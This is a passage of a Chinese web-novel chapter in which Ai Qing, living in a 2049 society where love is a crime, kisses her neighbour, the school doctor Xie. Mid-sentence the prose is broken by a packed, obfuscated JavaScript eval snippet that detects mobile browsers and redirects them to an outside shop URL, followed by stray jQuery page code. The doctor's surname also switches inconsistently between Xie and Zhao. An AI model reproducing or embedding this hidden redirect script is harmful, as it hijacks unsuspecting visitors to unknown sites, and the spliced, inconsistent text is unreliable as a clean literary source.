电梯门缓缓打开,露出一张熟悉的脸。
是住在她对门的邻居,谢云川。
艾清和他打过几次照面,不过几乎没有说过话,只能算得上点头之交。
谢云川是学校的校医,惯常戴着一副银边眼镜,斯斯文文,沉默寡言。
她时常觉得他像一株会移动的植物。
他们照例默默点头,相互致意,随后便不再说话。
电梯继续上行。
艾清闭上眼睛,金属冰冷的触感透过薄薄的制服渗进骨子里,让她好受了许多。
“你脸色很差。”
谢医生站在一步之遥的地方,声音中藏着几分不易察觉的关心。
艾清警惕地睁开眼,看着他没说话。
公寓的电梯空间狭小,谢医生又生得高大,肩宽腿长。即使尽量分开站,也难免有种居高临下的压迫感。
或许是今天做了太多不道德的事,她现在颇有些惊弓之鸟的意思。
见艾清没说话,他顿了顿,又温和地解释了一句:“我姓谢,是学校的校医,就住在你隔壁。”
见他只是单纯的关心,并没有什么探究的意思,艾清稍稍放松下来,不自在地咬了下嘴唇:“我没事。”
谢医生点点头,没再问了。
电梯里安静得落针可闻。
艾清盯着电梯跳动的数字,只盼着赶紧到九楼,好结束这无话可说的尴尬。
好在楼层并不高,电梯很快就到了。
出电梯的时候,她有些腿软,晃了一下。
一只手臂从身后伸过来,稳稳地托住她的手臂,等她站稳,就马上松开。
这是道德教育的标准行为准则,当你扶一位女士的时候,没必要把她死死地搂在怀里。
艾清站直了身子:“谢谢。”
“不客气。”
谢医生似乎有些不好意思,垂下眼,将目光移开了。镜片后的睫毛很长,在脸颊上投下一小片阴影。
出了电梯,他们礼貌道别,一个向左,一个向右,各自回家。
艾清躺在沙发上,终于松了口气。
她感觉自己整个人都快烧起来了。
她把包扔在地上,脱下外套,还是觉得热。
口干舌燥,坐立难安。
艾清走进浴室,烦闷地放了一池冷水,整个人躺了进去。
终于舒服了。
冰凉的水短暂地缓解了令人不安的燥热,她在冷水中舒服地叹了口气,往下滑了滑,让水漫到下巴上,感觉自己像一块被烧红的铁,扔进冷水里,刺啦一声,终于冷却下来。
意识在飘,身体却在下沉,脑子懒洋洋的,似乎要睡过去。
叮咚——
门铃声不识趣地响了起来。
艾清没有起身。
她实在不想动弹。
叮咚——
门铃又响了。
她不耐烦地睁开眼睛,等着对方按两下发现没人就走了。
叮咚叮咚叮咚——
门铃声响得愈发急促了,大有她不开门就一直按下去的气势。
艾清深吸一口气,不情不愿地起身,水哗啦一声从身上往下淌。她随手扯过浴巾擦了擦,穿上保守的长睡衣,拖着脚跟去开门。
门外是一脸局促的谢医生。
他怀里抱着一堆药瓶。
冷风从走廊里灌进来,吹得她皮肤上起了一层鸡皮疙瘩,她轻轻地瑟缩了一下。
“抱歉,我以为你出事了。”
谢医生有些尴尬,耳尖悄悄染上一抹绯色。
“刚刚看你脸色不太好,找了一些常用药出来,你看看能用上么?”
他站在走廊里,表情局促极了,眼睛只盯着她的脸,不敢乱瞟,像个典型的正人君子。
“谢谢,你要进来坐一会吗?”艾清往旁边让了让。
话一出口,她就后悔了。
她原本只是想着谢医生好心送药,让他站在走廊里似乎不太礼貌,却忘记自己眼下衣衫不整的样子,便害怕邻居疑心自己要行那不道德的恋爱之事。
在2049年的深蓝星球,恋爱也是一种罪行。
《禁欲法令》中,爱被定义为让人头脑发昏的不良情感,任何暧昧的行为一经查实,将被直接判为无耻之徒,驱逐出境。
只有部分被神圣中枢筛选出来的人类,才能根据指令结婚繁衍,其余人必须保持完全纯洁。
好在谢医生十分正直,并没有任何不纯洁的念头,只是一本正经地把药递给艾清。
“今日太晚,不便叨扰。若是不舒服,直接来找我,任何时候都可以。”
艾清接过药瓶,不小心被他冰凉的手碰到,忍不住打了个激灵,手中的药瓶噼里啪啦滚落一地。
二人急急地蹲下身子去捡。
门口只有方寸之地,两个人一蹲,膝盖差点碰在一起。
谢医生倒吸一口冷气,后退了半步,去捡其他的瓶子。
艾清又急又气,她真的不是故意的!
她也背过身去捡其他的药瓶。
捡着捡着,两个人的手又在同一个药瓶上方相遇了。
她抬头。
他也恰好抬头。
他们之间的距离太近了。
近到她能看清镜片后那双温润的黑眼睛,近到她能感觉到他呼吸的温度,像羽毛一样扫过她的鼻尖,近到她能闻到他身上散发出一股诱人的味道,像梦里才有的,醒来就抓不住的香气。
一股原始的冲动攫住了她。
她的膝盖抵着他的膝盖,她的手搭在他的手背上,两个人几乎贴在一起,但谁都没动。
走廊的灯从门外照进来,在地上拉出两道交叠在一起的影子。
她头发上的水珠还在往下滴,滴答,滴答,在安静的夜里被放大了无数倍。
谢医生的喉结动了一下。
艾清脑子里紧绷的弦彻底断了。
饥饿的感觉又涌了上来,如同燎原的野火,烧得她理智全无。
脑子里只有一个念头,他闻起来真好吃。
艾清一把攥住他的手腕。
谢医生愣了一下,低头看向她攥着他的那只手。
这是一只能让人想起新雪的手。
纤长的手指紧紧地扣住他的手腕,指甲陷进皮肤里,像溺水的人抓住最后一根浮木。
他一时忘记挣扎。
于是艾清得寸进尺,攥着他的手腕站起身来。
谢医生被她带着也站了起来。
他太高了。
蹲着的时候不觉得,站起身来之后才发现,她只到他的肩膀,他一站起身,阴影就落下来,把她整个人罩在里面。
但艾清丝毫不惧,只一心把他往门里拽,力气不大,态度倒理直气壮。
而眼前之人出奇地顺从,就这么被她拽着,踉跄着跌进门内。
大门在身后缓缓关闭,走廊的灯光被隔绝在外,屋内一下子就暗了下来,只有客厅那边透出来一点微弱的光,勉强勾勒出他线条分明的轮廓。
艾清一把将他推到墙上,摘下他的眼镜,随手扔在一旁。
银边眼镜磕在地上,发出一声轻响,在安静的屋里格外清晰。
他没反抗。
只是站在那里,背靠着墙,温顺地看着她。
失去镜片的遮挡,那双温润的眼睛突然变得深邃起来,漆黑的瞳仁,像深不见底的井,吸引着人去一探究竟。
艾清饿昏了头,顾不上欣赏,只匆忙踮起脚,像一只嗷嗷待哺的小兽,急切地将嘴唇凑到他脸上。
可惜够不着。
她不满地往下拽了拽他的领
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482770|201845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口,把他拉低了一点。
他的衬衫领口被她扯得歪歪斜斜,露出一截锁骨。可他还是没动,只有眼睛一动不动地盯着她。
还是够不着。
艾清有些生气了。
似乎是察觉到她不满的情绪,赵医生这才主动低下头来。他的嘴唇轻轻落下,像清晨的晨露。
艾清却不懂温柔,恶狠狠地咬住他的嘴唇,像饿极了的野兽咬住它的猎物。
他的嘴唇软软的,湿湿的,带着一点凉意。
她衔住他的下唇,轻轻咬了一下,听到他吃痛地闷哼一声,舌尖便往他张开的嘴唇里探进去,尝到满意的味道后,终于安下心来,享受她迟来的晚餐。
赵医生似乎被吓住了。
他一动不动,两只手垂在身侧,乖顺地接受着这个吻。
除了比方才更快激烈的心跳,艾清看不出他和往日一本正经的样子有什么区别。
艾清还是个新手,只啃了一会,便觉呼吸困难,只好退开一点,喘了口气,又要凑上去。
这次赵医生及时地偏了一下头。
她亲在他的嘴角上。
她不满地嘟囔了一声,松开攥着他领口的手,像一枝向上生长的藤蔓,死死地缠住他的脖子。
谢医生的呼吸愈发急促。
屋里光线昏暗,她就着那点光亮,看见他额角浮起一层薄薄的汗。
那股让她失去理智的味道愈发浓郁。
她着了魔似的低下头,把脸埋进他脖子里,叼起一小块皮肉,轻轻地磨着牙。
他的身体僵了一下,条件反射性地捉住她纤细的腰肢。
隔着微微湿润的睡衣织料,她感觉到他掌心的温度,如同火山口下常年涌动的岩浆。
“好烫。”她伏在他的脖子里,闷声自语着。
谢医生没说话,但艾清感觉到他的喉结又动了一下,轻轻划过她的脸颊,带着一阵细微的震颤。
她抬起头,又去看他的嘴。
他的嘴唇被她吮吸得有些红肿,湿湿的,润润的,下唇上还有一个浅浅的牙印。
看起来……很好吃的样子。
她情不自禁,又把自己的嘴唇贴了上去。
这次她没咬。
餍足的猛兽开始慢悠悠地玩弄猎物。
她轻轻含住他的下唇,舌尖有一搭没一搭地扫过去,像吃饱喝足的猫咪,用爪子拨弄着猎物。
他还是没动,但她感觉到他胸口起伏的幅度变得越来越大,一下一下,带动着她的心跳,也跟着快了起来。
不知过了多久,艾清的理智回笼。
她不敢相信自己刚刚都做了些什么!
谢医生被她按在墙上轻薄,原本整洁的衬衫揉得皱皱巴巴,领口大敞,露出精瘦的锁骨和一小片胸膛。
头发也乱了,嘴唇也肿了,整个人看起来像一只被过度蹂躏的大狗。
可怜。无辜。
她胆战心惊地松开嘴,喘了一口气,想要退开。
“你听我解释……哎!”
她痛呼一声,这才发觉,头发不知道什么时候缠在谢医生衬衫的纽扣上了。她偏着头,以一种极其别扭的姿势挂在他身上,进也不是,退也不是。
“别动。”
谢医生喘了口气,声音中还带着几分嘶哑。
他轻轻按住身前扭来扭去的艾清,一只手小心翼翼地拨弄了几下,就把可怜的头发从纽扣里解救了出来。
他的动作温柔极了,艾清几乎没感觉到疼痛。
可随之而来的是更大的尴尬。
该如何应对被自己非礼后的良家男子呢?
艾清眼一闭心一横,硬着头皮解释道:“你听我解释,我,我……”
“你只是生病了。”
谢医生冷静地打断她干巴巴的解释。